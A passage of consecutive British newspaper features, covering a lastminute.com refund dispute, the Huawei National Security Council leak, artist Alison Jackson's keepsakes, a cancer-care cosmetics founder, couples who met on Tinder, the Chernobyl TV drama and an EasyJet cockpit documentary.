long found that customer care is the last thing on the minds of people who work for large companies in what used to be called, with rather more honesty, the Complaints Department. Instead, they seem to see it as their job to procrastinate, obfuscate and generally fob off unhappy customers with weasel words of apology for any inconvenience suffered, without doing anything to redress the grievance in question. They appear to count it a victory if they can drag out a dispute for so long that the complainant gives up in despair. Tom Utley says that that customer care teams just fob off unhappy customers (stock image of customer care representative) Such, anyway, has been the experience of our teacher son, Archie, in his protracted, ongoing campaign to extract justice or at least straight answers from the Customer Care Team at the online booking agency lastminute.com. Except that our lad never gives up. As it happens, he had a run-in with the same company some 15 years ago, when I agreed to paid for him to fly with our youngest boy to visit their older brother, George, at Edinburgh University. Trouble On that occasion, Archie had attempted to book the flights from London and back online, using my email account and debit card. But as the day for the trip approached, he had still received no confirmation from lastminute.com (it eventually turned up in my junk mail). So he made the big mistake of booking again though by this time the price of the tickets had risen sharply. By 233.67, to be precise. Only after I had driven the boys to Heathrow Airport did we discover from the woman behind the check-in desk that lastminute.com had booked four return tickets on my card. Tom Utley had previously used lastminute.com to book flights to Edinburgh to visit his son at Edinburgh University (pictured above) Apparently, it had not struck the companys computer as odd that two people with identical full names and having the same date of birth had chosen to book the same flights to Edinburgh and back, travelling with two other people identically named, who also shared a date of birth. Thats the trouble with booking online. When everything goes smoothly, its wonderfully convenient. But any human travel agent would have spotted the mistake the moment Archie tried to book again. The computer couldnt see it. But no matter. The nice woman at the airline check-in desk said shed alert lastminute.com to what had happened and Id be refunded for the two surplus tickets. The trouble was that when my refund arrived it was 233.67 short. The online agency or the airline (I dont know which) had cancelled the earlier booking, rather than the more expensive one. This smacked of sharp practice to me. Archie had tried to book a trip through lastminute.com (logo pictured above) and the confirmation of the trip went into junk mail At first, lastminute.com refused to investigate my complaint unless I agreed to pay an administration fee of 45 which, like any wronged Englishman, I refused to do. So it was stalemate. It was at this point that I burst into print, airing my woes in a newspaper column which, incidentally, prompted a flood of correspondence from readers who had suffered similar ordeals. The very next day, I received an email from Brent Hoberman, multi-millionaire co-founder of lastminute.com, agreeing to refund the disputed 233.67 and promising to look at reprogramming his computer algorithms so as to ensure that the same mistake wouldnt be made again. Brent Hoberman (right), Co-founder and Chief Executive with Martha Lane Fox (right) also Co-founder and chief Operating Officer from internet web site 'lastminute.com' As I observed at the time, it seemed a very poor show that because of my privileged platform in the media, I was offered gold-star treatment denied to other customers. Shortly after this incident, by the way, Hoberman and his fellow co-founder Martha Lane Fox sold their stakes for a reputed 300 million. So thats two people, at least, who had reason to be satisfied with lastminute.com. Which brings me to this week, when I received an anguished email from Archie, beginning: Here are the shocking details of my lastminute hell. Attached were pages of tweets and other exchanges between himself and the companys Customer Care Team. Cheap I havent nearly enough room here to reprint the full correspondence. All I can do is summarise his woes. His story starts way back in October last year, when he booked to fly in July 2019 to Catania in Sicily with his wife, Lisa, their 16-month-old son, and Lisas mother. The idea was to visit Lisas Sicilian relations. Flights for the family outward by Air Malta, easyJet coming back cost 594.46 (which sounds wonderfully cheap to me; or, rather, it would have been cheap if everything had gone to plan). To be extra safe, Archie also paid 56 for lastminute Fullflex insurance, which would guarantee him his money back if he had to cancel the flights. Now fast-forward to March 5 when the Customer Care Team emailed him to say that Air Malta had cancelled his outward flight (God knows why, with four months to go before take-off, but airlines seem to be a law unto themselves). He was told he could either contact the airline to find an alternative, or request a refund though when he called lastminute to ask what the refund would be, they couldnt say. Nor would anyone tell him what alternative flight would be offered. Only after his fifth call did lastminute come up with another flight. This would take 11 hours and 20 minutes, including a seven-hour stop-off in Malta, instead of the three hours and 25 minutes of his original booking. With a mother-in-law and baby in tow, he understandably didnt fancy the idea. So he asked for that refund, though lastminute still wouldnt tell him how much it would be. Rather fittingly, on April 1 almost a full month later, with flights costing more every day as July approached he was finally told what his refund for the outward journey would amount to: a measly, pathetic, risible 152. As for the insurance he had taken out on a flight that no longer existed: We are unable to honour the refund of the Fullflex service. As you may imagine, Archie felt royally ripped off. Was it really possible that the cost of the outward flight, including air passenger duty of 78, came to a mere 152 (or 18.50 a head, before tax), while the return cost nearly three times more? Or was he being taken for an expensive ride? Raging Not unnaturally, he wanted chapter and verse on where his money had gone, including proof that lastminute.com had paid easyJet more than 400 for the return leg. He also wondered what had happened to that air passenger duty on a non-existent flight. So began the long series of exchanges that has been raging ever since, with Air Malta refusing to say how much it had charged lastminute for the original flight, and lastminute refusing to release documentary evidence of anything. All of which makes me wonder: when one half of a return trip is cancelled, has any reader ever received a refund from lastminute or any other online agency amounting to more than half the total cost of the two-way ticket? Or is it standard practice for companies to claim that the cancelled leg was the cheaper one? The upshot for poor Archie is that lastminute still refuses to refund him a penny more than 152 and hes had to shell out 597.88 for one-way tickets to Catania with BA. Call me a hardened old cynic, but I have a feeling the outcome might have been happier for him if instead of teaching in a state school, hed followed his fathers trade. Wouldnt this be a better world if large companies treated all their customers with the same care and courtesy they show towards columnists who air their complaints in print? The extent to which Chinese companies should be allowed to invest into Britains infrastructure and in particular in our technology networks is a deeply sensitive subject. For there are a host of reasons for believing that as it emerges from centuries of international isolation, China could become a hostile threat, just as the Soviet Union was during the Cold War. And like those Communist leaders in the Kremlin, the Beijing regime espouses values which are inimical to the freedoms we cherish in Britain. So can China be trusted with such a significant role in our national infrastructure? This is the background to a very important meeting of the top-secret National Security Council that took place in Whitehall last Tuesday. Details of a top secret meeting on Chinese telecoms firm Huawei were leaked to the Daily Telegraph, potentially by a senior Conservative cabinet Minister. They should be charged, says Peter Oborne The Council was created in 2010 to allow intelligence chiefs and military leaders to discuss, in total confidence, issues of national security, defence worries, nuclear deterrence and strategic defence matters. Until this week, that confidence has always been respected. There had never been a leak. However, within hours of Tuesdays meeting of the National Security Council, details of the discussion were leaked to the Daily Telegraph. The newspaper duly reported that Theresa May had agreed that the Chinese telecoms giant Huawei can supply technology for Britains new 5G mobile data network. This was despite warnings from the U.S. and some of the Prime Ministers most senior ministers that it poses a risk to Britains safety. This was the most serious breach of national security since the end of the Cold War in 1990. Admittedly, there have been precedents but much less serious such as isolated cases of relatively junior civil servants leaking sensitive intelligence material. The two most well-known cases occurred in the Eighties. Nick Timothy's advice to the PM As the Tories face a rout in next months European elections, and a kicking from voters in local elections on Thursday, for bungling Brexit, Theresa May has been given some unwanted advice by a former close friend. Nick Timothy says that to win back the public, the Tories should turn themselves into the National Party. This is the same Nick Timothy who was Mrs Mays chief advisor when the Tories threw away a 20 per cent poll lead over Labour in the 2017 General Election. I suggest a period of silence from Mr Timothy would be extremely welcome. Advertisement In 1984, Ministry of Defence civil servant Clive Ponting passed details to the Labour MP Tam Dalyell about the sinking of the Argentine cruiser the General Belgrano during the Falklands War, in which 323 sailors were killed. Ponting was charged under the Official Secrets Act but acquitted by a jury and subsequently resigned from the Civil Service. Earlier that year Sarah Tisdall, a clerk at the Foreign Office had been prosecuted and jailed under the same Act for leaking information to the Guardian about when U.S. cruise missiles were due to arrive on British soil. Why shouldnt the person who leaked the information on Tuesday concerning Huawei presumably because they disagreed with the decision to grant so much access in Britain to the Chinese face a similar fate? For, like Ponting and Tisdall, everyone at that National Security Council meeting had signed the Official Secrets Act. Under terms of the Act, giving away sensitive information is punishable by up to 14 years in jail. This time, the suspects are not civil servants but ministers of the Crown. It has been reported that five ministers were present alongside senior security officials. They were Defence Secretary Gavin Williamson; Foreign Secretary Jeremy Hunt; Home Secretary Sajid Javid; International Trade Secretary Liam Fox and International Development Secretary Penny Mordaunt. We can be 99 per cent certain that one of these was the leaker who betrayed the countrys secrets. There are several reasons why this betrayal is so heinous that it merits prosecution under the Official Secrets Act. On Tuesday five ministers said to have been present at the Huawei meeting with Theresa May (bottom right) each insisted it was not them. Tory leadership hopefuls Gavin Williamson (centre right), Sajid Javid (bottom left), Jeremy Hunt (top left), and Penny Mordaunt (centre left), as well as Liam Fox (top right), denied they were to blame First, of course, there is national security. The countrys safety depends on our intelligence and military chiefs being able to talk candidly with ministers and share top-secret information. This cannot happen if someone present is happy to communicate those details to the media. Second, as well as having signed the Official Secrets Act, every minister present at Tuesdays meeting had signed the Privy Council oath and solemnly pledged, as well as loyalty to the Queen, to keep secret all matters committed and revealed unto you, or that shall be treated of secretly in Council. Besides the sacrament of marriage, I can think of no more solemn oath that a Briton could pledge. Whats more, there is the nature of the issue that was discussed: national security and the role of a Chinese firm with close links to the Beijing government. Many other countries fear that Huawei could be a Trojan horse for Chinese government spies who could proceed to infiltrate or spy on public and private communications systems in Britain. Already, the Chinese government has made its intention clear by making inroads into this countrys infrastructure. Our plans for nuclear energy, another highly sensitive area, already feature the involvement of the Chinese. Hinkley Point C in Somerset is being built by French firm EDF with Chinese backing and there are similar proposals for plants in Bradwell, Essex, and at Sizewell, in Suffolk. Indeed, Gavin Williamson, one of those present at Tuesdays meeting, is well aware of the threat from China. In February, he said he would send the UKs new aircraft carrier, the Queen Elizabeth, to frighten the Chinese into mending their ways. He said a global Britain must deploy hard power against those who flout international law. Secretary of State for Defence Gavin Williamson said: Neither I nor any of my team have divulged information from the National Security Council' Another factor, of course, behind the leak is that we have a weak Prime Minister who has served notice that she will soon stand down, and a cluster of uber-ambitious ministers are jostling to prove themselves to be her worthy successor. No wonder Cabinet Secretary Sir Mark Sedwill is said to be deeply unhappy and has launched an investigation into the leak demanding the co-operation of ministers, civil servants and special advisers. No wonder, either, that one of his predecessors, Sir Gus ODonnell, said the breach was a complete outrage and that ministers could face having their mobile phone records trawled in order to help identify the culprit. At any other time, there would be Cabinet unity and discipline. But now, ministers feel free to exploit the political paralysis over Brexit and pursue their own agendas, preen themselves in public and betray colleagues. Sadly, this is not the first time Mrs Mays ministers have stepped out of line on controversial issues such as national security. Just over a year ago, Gavin Williamson provoked surprise by claiming that Russia could kill thousands of Britons in a cyber-attack. His remarks appalled security chiefs because they felt they breached confidences. Mr Williamsons initial reaction to news of the latest leak was to blame Cabinet Office staff. Regardless of the Cabinet Secretarys leak inquiry, I believe this matter is so serious that we should have a full-scale criminal investigation, involving the security and intelligence services. Hopefully, it would not take long to identify the guilty party and get him or her out of the Government, and in due course to see them face criminal charges. There is one further, very important consideration that this shocking story raises. The central Tory charge against the Labour leader Jeremy Corbyn is that if he ever became prime minister, be would be a danger to national security. This is because of his past links with countries unfriendly to Britain, his alleged support of terrorists and some caustic comments hes made about our Armed Forces. Yet Mrs May runs a government in which one of the most senior members is suspected of leaking top-secret information about a country that could become a hostile threat to Britain. Not surprisingly, Labours Cabinet Office spokesman Jon Trickett warned yesterday that criticial issues of national security should be handled with utmost care, not used as political information in a Tory Party civil war. I couldnt agree with him more. Alison Jackson, 58, (pictured) reveals the items of personal significance inside the front room of her flat in London's Chelsea. The artist has recently published a new book 1 GLOBE-TROTTER This painted globe is a family heirloom left to me by my mother Catherine and is a lovely reminder of her and of my travelling days. She broke her neck horse riding when she was 58 and became tetraplegic, and then she died in 2001 from complications after she was dropped by one of her carers. She knew I loved travelling. Before I went to art college as a mature student I spent a year driving around South America in an old Buick. 2 ALL AT SEA I look like a boy in this photo, and I was always mistaken for one. People would point at me and say, How old is he?. Id never say anything because I was shy. Im nine or ten in this shot, which was taken on a boat somewhere. My father George loved boats he and my mother actually met on a voyage from Britain to South Africa, which took three weeks in those days. 3 FEELING SHEEPISH My mother grew up at Lock Hall, a country house to the west of Dublin where the writer JP Donleavy was a neighbour. Alison treasures a photograph of Elton John pictured with a lookalike of the Queen, from her TV series Double Take This wonderful photo shows her being ferried around in a little cart pulled by a sheep. I was carried in the same cart when I was a child albeit with a different sheep. Sadly my animal was a bit wild so it was replaced with a donkey. 4 FAKE AND FORTUNE While still a student at the Royal College of Art I was commissioned by the BBC to make my TV series Double Take, in which I used lookalikes and created painstakingly choreographed fake news. It won a BAFTA, which was an amazing springboard for me. This picture is of the real Elton John in his Las Vegas home singing God Save The Queen to a lookalike of the monarch, and the wig is for my double of Donald Trump. 5 SPURRED ON I grew up in the Gloucestershire countryside, where my mother bred horses. As a teenager I took part in eventing, dressage and cross-country competitions, but since Mum broke her neck riding Ive not ridden at all I just couldnt face it. It was sad to see all the horses expecting my mother to come back and ride them. The Spinal Injuries Association were incredibly helpful so I did a sponsored cycle ride from London to Paris to raise money for them, and Im doing another one later this year through Austria, Hungary and Croatia. 6 HOME FROM HOME My father George was heartbroken when a compulsory purchase order was awarded to build a motorway through the estate of his ancestral home near Portsmouth. We then uprooted to Poulton Priory, a former monastery near Cirencester, pictured here, where I spent my holidays while at boarding school. As told to Nick McGrath. Alison Jacksons new book is called PRIVATE and available on alisonjackson.com. For more information on Alisons upcoming competition for aspiring photographers visit dayinyourlife.co.uk Hair loss, debilitating nausea, a painful mouth the physical side effects of cancer treatments are incredibly difficult to bear. But nothing prepares you for the turmoil the diagnosis will have on your emotions, especially as a woman. Your whole femininity crumbles, says Isabelle Guyomarch, entrepreneur, mother-of-two and breast cancer survivor. Its often the follow-up treatments that are hardest to cope with, the scars and the side-effects. Your feminine identity is completely destroyed and you have to reinvent it again. ISABELLES STORY In August 2013, the French businesswomans life was turned upside down when she was diagnosed with aggressive stage-3 breast cancer. Refusing to let her diagnosis defeat her, Isabelle explains how she rebuilt herself as a woman by deciding to help others going through the same thing. I fought for life and I won; Im in remission, she says. But I needed to make sense of my battle, like many cancer survivors do. Innovation: Isabelle Guyomarch is the founder of Ozayls, a cosmetics brand created for women affected by cancer And so Ozalys was born. An innovative beauty brand, Ozalys caters to the most fragile percentage of the population, the women ignored by the mainstream, commercialised beauty industry. With gentle formulas and no harmful ingredients, their products are soothing, moisturising and luxurious to use. A range created by women for women, the entrepreneur has sought to make the difficult time easier, offering a luxury experience to ladies experiencing symptoms she knows only too well. As her cancer took hold, Isabelle admits facing herself in the bathroom mirror every day was a struggle. After going through surgery, chemotherapy, and radiotherapy, Isabelle lost her hair, eyelashes, and eyebrows, but most of all, her confidence. She recalls: The bathroom became a place of suffering, where the idea of catching a glimpse of my reflection in the mirror paralysed me. TOUGH TIMES It wasn't just the physical symptoms she found tough, however, and the reaction of some of her peers hurt the most. The businesswoman's successful career came to an abrupt standstill and she found her job heading up a luxury cosmetics company at risk. Isabelle explains: Having cancer is a double-edged sword. Not only are you ill, but you lose your job on top of that almost a third of patients lose their jobs within two years after cancer strikes. That was the case for me with the banks, my associates who tried to sell their shares behind my back while I was going through chemo. Thankfully, she was supported by her husband Bruno and daughters Lisa and Cecile, and the girls are now her business partners, joining her at the frontline of her re-branded company, whose employees are 80 per cent female. I was able to save my business thanks to my youngest daughter, then my second daughter joined us to create the product line, she says of the process of rebuying the business in 2018 and officially launching Ozalys 18 months ago. Im all about family business, its a womans workplace and I have no intention of selling it. I will pass it on to my girls, just like I have passed on my values, she reveals. Fierce feminist Isabelle, who has penned bestselling book Fighting Lady about her battle, says her daughters were a major motivation in building her new brand. Its so hard to see your loved ones unhappy. Sometimes you do everything possible not to show your pain. When a woman looks at her children and thinks, My God, will I be able to raise my kids? What are they going to do without me?, its a kind of emotional torture and deep psychological pain all cancer patients go through. 'So Ive tried to testify, to speak out, helping stop the feeling of being alone in this, she reflects. SPECIALLY ADAPTED PRODUCTS Drawing upon her personal experience of feeling weakened by cancer treatments, Isabelle and her team created a range of 11 products specially adapted for all patients needs. Detailing whats special about her fluoride-free, Essential Care Refreshing Toothpaste with Ginger, she says: When youre in chemotherapy, you have bad breath, you feel sick, you have a dry mouth so weve put in real ginger extract, which is an amazing anti-nauseant and anti-humectant. All our products have specially-conceived lids that you can twist and not lift off because your hands can become very damaged. Its not about making money for her - it's about meeting people's needs. Fighter: The French businesswomans life was turned upside down when she was diagnosed with aggressive stage-3 breast cancer Ive created the Absolute Care Hand and Foot Moisturizing Cream, which is three products in one. 'Even if you still have the financial means during your cancer battle, you no longer have the strength to use a ton of products. Its easy to lie to people and say you need to buy three different creams, but you really dont if theyre very high quality. 'Everything has a double function a day cream that can double as a night cream for instance [the Precious Care Day And Night Moisturiser]. The groundbreaking range also includes perfume, which has been designed to only be applied to a specific area and ingredients selected for skin weakened by chemo, with fragrances chosen to minimise headaches. Explaining the ethos behind her fast-growing brand, she said: 'Youre a different person, both psychologically and physically after cancer. 'But you can create something positive out of it, thats my approach with Ozalys. 'I want to help women to get back up, to get back in front of the bathroom mirror, to find their inner confidence again, find out who they are now.' A SENSE OF COMMUNITY 18.1 million new cases of cancer were diagnosed in 2018 and one in six women globally will contract the disease over their lifetimes, but it can often be a lonely experience. Live Better With Cancer is the go-to online community for people living with long-term conditions to discover everyday practical support for their symptoms and side effects. Working to create and curate trusted, helpful information and products, the site encourages learning and sharing between those going through the same experience, providing a welcoming space to chat in their Forum. Isabelle strongly believes women should rally around one another in tough times, explaining that the common theme for patients is solitude. Even when youre surrounded by people, you can feel alone, against your illness, against life, she says. There is a real need to create structures to welcome women, where you can speak with others going through the same thing, as well as those who are removed for it. A support system is even more important now that more and more people are surviving cancer', she adds. 'It cant be about survival, it has to be about life after cancer. Survival is not enough! You have to learn to live again. The inspiring lady has some words of wisdom to share with those currently battling cancer. She concludes: Never forget that youre heroes. Were all fighting for our lives. 'Fighting and being a heroine is very difficult youre going through hell right now, but remember that you are a strong woman.' True love can be hard to find, but two women have revealed how they met their husbands in the most unlikely of places - Tinder. Although for most users the dating app often results in dud dates or one night stands, these relationships wouldn't exist without it. Speaking to FEMAIL Renee Nola, 33, a public servant from Sydney, and Steph Burchard, 21, a student from Brisbane, shared their stories. Although their experiences are slightly different both women said they have ended up with the man of their dreams. Speaking to FEMAIL Renee Nola, (pictured with husband Simon) 33, a public servant from Sydney, and Steph Burchard, 21, a student from Brisbane, shared their stories Renee and Simon Nola Renee, 33, decided to join Tinder after she moved to Sydney with a former boyfriend and they eventually broke up. 'I didn't know a lot of people or how to meet people other than through work,' she said. 'I joined Tinder partly to heal my poor esteem post-break up and to fix my boredom, partly to see what kind of guys were out there in the wider community, and partly to meet new people.' Prior to this Renee had never been single for a long period of time as since she was 16 she has met future boyfriends through friends or on nights out and had a habit of long-term relationships. 'I joined Tinder partly to heal my poor esteem post-break up and to fix my boredom, partly to see what kind of guys were out there in the wider community, and partly to meet new people,' she said The 33-year-old went on approximately 10 Tinder dates before meeting her husband Simon. When she created her Tinder profile she listed a long list of specific criteria that she was looking for and because of this, most of her family and friends told her she was being 'too picky'. 'I myself wondered if this perfect person even existed - especially on Tinder! But I figured there was no harm in putting it out there!,' she said. 'I even had my radius set to only 15 kilometres as I didn't want to travel far to go on dates. 'Simon's profile info was really weird and definitely not what I was looking for, but I thought he was cute and would make for interesting banter at least, so I swiped right,' she said. The 33-year-old had gone on approximately 10 Tinder dates before meeting her husband Simon When she created her Tinder profile she listed a long list of specific criteria that she was looking for and because of this most of her family and friends told her she was being 'too picky' What was Renee and Simon's timeline? - February 2016 They matched on Tinder - March 2016 They had their first date - October 2016 They moved in together - December 2017 Simon proposed to Renee - October 2018 They were married Advertisement Renee said Simon, 34, wasn't great with his messaging and he revealed very early on that he actually lived interstate. 'But he was vegetarian (super important to me and also super hard to find), was staying very close by and was willing to come to me for our first date so I reluctantly agreed, telling my housemate she may have to come and rescue me!' she said. Their first date was at a Thai restaurant where they shared vegetarian food, wine and 'surprisingly good conversation'. Throughout the night Simon revealed to Renee that he met all of her criteria and more. 'He really seemed to be my perfect man. The restaurant closed and we didn't want the date to end so we sheltered from the rain in a nearby park under the cover of children's play equipment where we ended up talking for hours,' she said. 'Simon's profile info was really weird and definitely not what I was looking for, but I thought he was cute and would make for interesting banter at least, so I swiped right,' Renee said 'He asked me if it would be romantic if he kissed me. I told him it would have been if he hadn't asked that question. That's when we shared our first kiss. 'I ended the date by sliding down the wet slippery dip. He promised he would follow me but he didn't. So I made him piggyback me home. By that stage it was 3am and I knew it was the best first date ever.' Simon asked her on a second date two nights later where he came over and cooked her dinner and again, they stayed up talking until the early hours of the morning. The next day he was heading home and Renee thought she would never see him again and she was stressed she would never meet someone that would compare. 'He really seemed to be my perfect man. The restaurant closed and we didn't want the date to end so we sheltered from the rain in a nearby park under the cover of children's play equipment where we ended up talking for hours,' she said I knew at that moment that I'd be happy to be lost with him forever But she heard from Simon every day for the next month until he came back to Sydney again. 'He stayed for a week and we saw each other every day. A month later, he came back for another week and by then, I was hooked,' she said. 'The defining moment for me that week was when we went on a romantic bushwalk and picnic and I got us lost. 'Simon didn't get mad, and then he even saved me from a leech attack! I knew at that moment that I'd be happy to be lost with him forever. 'Six months later he moved to Sydney to be with me and our happily ever after began.' Simon asked her on a second date two nights later where he came over and cooked her dinner and again, they stayed up talking until the early hours of the morning The next day he was heading home and Renee thought she would never see him again and she was stressed she would never meet someone that could even compare to him Renee said she wasn't subtle in letting Simon know she wanted to marry him early in the relationship and he wasn't very subtle when he decided he was going to buy her a ring. But the real proposal story started with a jigsaw puzzle. When they first started dating they built a Santorini jigsaw puzzle together. On their first Christmas together he gave Renee the completed puzzle as a gift, in a frame he had secretly built that now hangs above their kitchen table. The following December during a six week long Euro trip starting in Greece, they were hiking across clifftops in Santorini when Simon dropped to his knee. The following December during a six week long Euro trip starting in Greece, they were hiking across clifftops in Santorini when Simon dropped to his knee 'He presented me with the most beautiful diamond ring that was created just for me, after thoroughly researching my Pinterest pages and asking me a million questions, and asked me to marry him. Obviously, I said yes!' she said. Renee said she wasn't subtle in letting Simon know she wanted to marry him The loved-up duo had a small wedding of 50 people over a weekend in the Blue Mountains. Renee said the theme was 'endless love' as she walked down the aisle to an instrumental version of the song by Diana Ross and Lionel Richie and engaged in a Celtic hand fasting ritual to symbolise the unending bind they share. Their shared ethics and values played a big part in preparing for their special day. They used a local eco-friendly farmer florist to create their spectacular arbour and Renee's bouquet and punched their own environmentally friendly love heart confetti from gum leaves collected by her mum. 'A selection of organic and vegan wines were then served in crystal glasses from an airstream bar while giant lawn games were played, as we escaped to some stunning nearby locations for our photos,' she said. 'He presented me with the most beautiful diamond ring that was created just for me, after thoroughly researching my Pinterest pages and asking me a million questions, and asked me to marry him. Obviously, I said yes!' She said 'We had a fully vegan wedding reception in a marquee lit up with fairy lights. Hearty plant-based meals were served family style to the tables with no set seats, which were named after countries we have travelled that were significant to us.' Guests were entertained throughout dinner by an amazing acoustic duo, who also played their first dance. My advice is to be picky, be fussy and don't settle! Your perfect person exists- and they might even be on Tinder, just waiting for you to swipe right. They also had a dessert wine bar in lieu of traditional desserts, apart from their two tier vegan wedding cake. 'Initially I never thought I would meet someone on Tinder but the more people I spoke to, the more I realised all types of people with all types of agendas used the app,' she said. 'My advice is to be picky, be fussy and don't settle! Your perfect person exists - and they might even be on Tinder, just waiting for you to swipe right.' They used a local eco-friendly farmer florist to create their spectacular arbour and Renee's bouquet and punched their own environmentally friendly love heart confetti from gum leaves collected by her mum Steph and Elliott Burchard Steph, 21, made the decision to join Tinder to meet more people and explore different options as prior to joining she had only had one serious relationship. She never once thought she would meet her future husband on the app. Elliott, 27, was actually the first person she ever met up with on Tinder and she never went on another date after meeting him. 'Elliott and I clicked instantly. We were supposed to head to a bar in the city for drinks and we ended up staying in all night and talking until the early hours of the morning,' she told FEMAIL. Steph, 21, (pictured with her husband Elliott) made the decision to join Tinder to meet more people and explore more options as prior to joining she had only had one serious relationship Elliott, 27, was actually the first person she ever met up with on Tinder and she never went on another date after meeting him What was Steph and Elliott's timeline? - September 2015 They met and had their first date - December 2015 They moved together from Queensland to Victoria - April 2017 Elliott proposed to Steph - October 2018 The two of them were married - September 2019 They will be expecting their first child Advertisement 'We moved very quickly from there and ended up living together two weeks later and moving states three months later. 'I knew he was the one because we saw eye to eye on so many things. While we are very different, we are so alike as well. 'I've never had more laughter and fun with Elliott than anyone in my life before.' After they met in September 2015 the duo ended up moving from Queensland to Victoria together only three months later. The next year they adopted two dogs and they were engaged by April 2017. 'Elliott proposed on the top of glasshouse mountain Mount Beerwah after we hiked together to the summit,' Steph said. 'He dropped down on one knee and popped the question and I said yes (of course).' 'Elliott and I clicked instantly. We were supposed to head to a bar in the city for drinks and we ended up staying in all night and talking until the early hours of the morning,' she said I knew he was the one because we saw eye to eye on so many things. While we are very different, we are so alike as well,' she said Now they're expecting their first child in early September 2019, with Steph currently in her second trimester Steph said their wedding in October 2018 was a 'boho dream' with rugs and couches on the grass, a gourmet pizza truck, vintage caravan as a bar and a Brisbane rockabilly band. 'It was a huge effort from our families and friends and it was truly a spectacular wedding. We just danced, laughed and drank all night,' she said. Now they're expecting their first child in early September 2019, with Steph currently in her second trimester. 'I definitely didn't go into Tinder thinking I was going to meet my future husband. I thought I'd definitely have to kiss a few toads first,' she said. This is an epic tale of heroes and villains, of extraordinary bravery and breathtaking incompetence of enduring love and tragic loss. Five-part drama Chernobyl, with a star-studded cast including Emily Watson, Jessie Buckley, Stellan Skarsgard and Jared Harris, tells the story of the biggest disaster in the history of nuclear energy. In the early hours of 26 April 1986, a safety test on a reactor at the Chernobyl power plant in the Soviet state of Ukraine went catastrophically wrong. Errors were made by the poorly trained night shift, who were finding out how reactor number four would cope in a power cut. Five-part drama Chernobyl reveals how scientists helped to save Europe after a safety test on a reactor at the Chernobyl power plant in Ukraine went catastrophically wrong. Pictured: Emily Watson, Stellan Skarsgard and Jared Harris in the Sky Atlantic show Anatoly Dyatlov, the deputy chief engineer whos played by Friday Night Dinner actor Paul Ritter, made reckless decisions and an explosion was triggered which released 400 times more radioactivity than the bomb dropped on Hiroshima 41 years earlier. Soviet officials put the official death toll at 31, although the real figure may have been in the hundreds of thousands. A 19-mile exclusion zone has been in place around the site for decades an area that has now been reclaimed by nature and wildlife and experts say it wont be fit for habitation for 20,000 years. Yet, it could have been much worse. It took scientific know-how, and the extraordinary bravery of three men, to prevent a greater catastrophe, says Emily Watson, two-time Oscar nominee and star of the BBCs 2017 drama Apple Tree Yard. Emily plays Ulana Khomyuk, who represents one of the quick-thinking scientists who realised that if melting uranium came into contact with the millions of litres of water in safety tanks at the plant it would cause a radioactive blast that would make Europe uninhabitable for hundreds of years. Scientists quickly realised that if melting uranium came into contact with millions of litres of water in safety tanks at the plant it would cause a blast that would make Europe uninhabitable A trio of workers, Boris Baranov, Valeri Bezpalov and Alexei Ananenko nicknamed The Suicide Squad went back into the burning building to open valves by hand and release the water. They completed the mission and their actions saved a continent. Emilys character is the only fictional one in the drama representing scientists in Ukraine and nearby Belarus who realised something was terribly amiss when they started getting sky-high radioactive readings hundreds of miles away from Chernobyl. A 19-mile exclusion zone has been in place around the site for decades - and experts say it wont be fit for habitation for 20,000 years Ulana is a tribute to those scientists who put their lives and careers on the line to expose the failings at the plant, says Emily. Shes from Belarus and shes tough. Emily admired her characters tenacity. Shes a truth ninja, committed to finding out what happened even if her life is endangered. She realises theres been a cover-up. She comes across redacted documents and realises there were design faults at Chernobyl that had been known about all along. Emily hopes the drama, on Sky Atlantic, will be a tribute to those who died. She read Chernobyl Prayer by Svetlana Alexievich, a chronicle of the accounts of those who lived through the event and often died as a result. Emily, pictured, plays Ulana Khomyuk, who represents one of the quick-thinking scientists who thought about the water. She is the only fictional character in the series No ones story is more heartbreaking than that of firefighter Vasily Ignatenko, who was trying to put out the blaze at Chernobyl just minutes after the explosion and suffered massive doses of radiation. He had no hope of survival, says the shows writer Craig Mazin. The levels of contamination on his and other firefighters boots, gloves and masks were so great that they remain in the basement of the hospital in nearby Pripyat. Those items were, and still are, that radioactive. Vasily endured two weeks of agony before dying from radiation poisoning, his wife Lyudmilla, portrayed by Jessie Buckley (Marya Bolkonskaya in BBC1s War And Peace), constantly at his bedside. Her love for him was so absolute that, despite the danger, she stayed with him, says Jessie, star of current movie hit Wild Rose. One of the tragic stories is of firefighter Vasily Ignatenko, who just minutes after the explosion went inside Chernobyl and suffered massive doses of radiation. Pictured, a scene from the new series And their child, that she was carrying, was stillborn. Chernobyl doesnt shy away from the consequences of radiation exposure. Prosthetics designer Daniel Parker provided burning and blotching, depending upon the amount of exposure. He had a spreadsheet of radiation levels, explains Craig. He almost had to become a physician. At the heart of Chernobyl is the unlikely alliance of Soviet hardliner Boris Shcherbina, played by Mamma Mia!s Stellan Skarsgard, and scientist Valery Legasov (Jared Harris, son of the late actor Richard). The Soviets wanted to cover it up. Their system had failed After threatening to throw him out of a military helicopter when he questions the official Soviet line on the disaster, Boris starts to respect Valery and they work together. Boris was a notorious yeller, sent to sort problems by shouting at people, says Stellan. But he knew Chernobyl couldnt be covered up, as the Soviet hierarchy wanted: their supposedly perfect system failed. Even now, it seems, the truth is hard to handle for some. Much of the filming of Chernobyl took place at a nuclear plant in Lithuania, which had supposedly been decommissioned. It was part of the deal when they joined the EU in 2004 to decommission this plant, says Jared. But one day we werent allowed on the plant until 3pm because they were moving nuclear waste. That doesnt sound like a decommissioned plant! Chernobyl starts on Tuesday 7 May at 9pm on Sky Atlantic. Just what do pilots talk about in the cockpit when they are about to deliver you to your holiday destination? The truth is revealed in a new documentary, and its rather surprising. Captain Gaurav Adwaney, landing the plane in the Jordanian city of Aqaba, turns to his senior first officer and asks how to pronounce Aqaba. Is it A-QA-ba, or Aqa-BA? Its really too late to be having this conversation, given that hes already done all the announcements. What else dont airlines like to broadcast? Well, whisper it, but sometimes even the pilots have no idea where theyre going. Show EasyJet: Inside The Cockpit reveals the truth about pilots. Pictured L-R: Captain Gaurav, Senior First Officer Iris, Cadet Josh, Captain Emma, Cadet James and First Officer Rachel Theres a hilarious moment when two pilots disagree about what theyve been told by the ground crew. Mercifully, theyre on the ground, trying to park. Is it first right, or second right, though? They get it wrong and, unable to reverse, their passenger jet is momentarily stuck. To make matters worse, its an all-female cockpit crew. The captain groans, aware that shes just opened the floodgates to jibes about women pilots. Welcome to EasyJet: Inside The Cockpit, a fly-on-the-wall series which shows what pilots are actually doing behind the locked doors. I think its wonderful having the cameras, says Iris De Kan, 32, who was the first officer on that Aqaba flight. One scene shows the pilots discussing how to pronounce Aqaba - once they have landed (file picture) Pilot Iris De Kan, 32, said having the cameras on the planes was 'wonderful' and a 'good 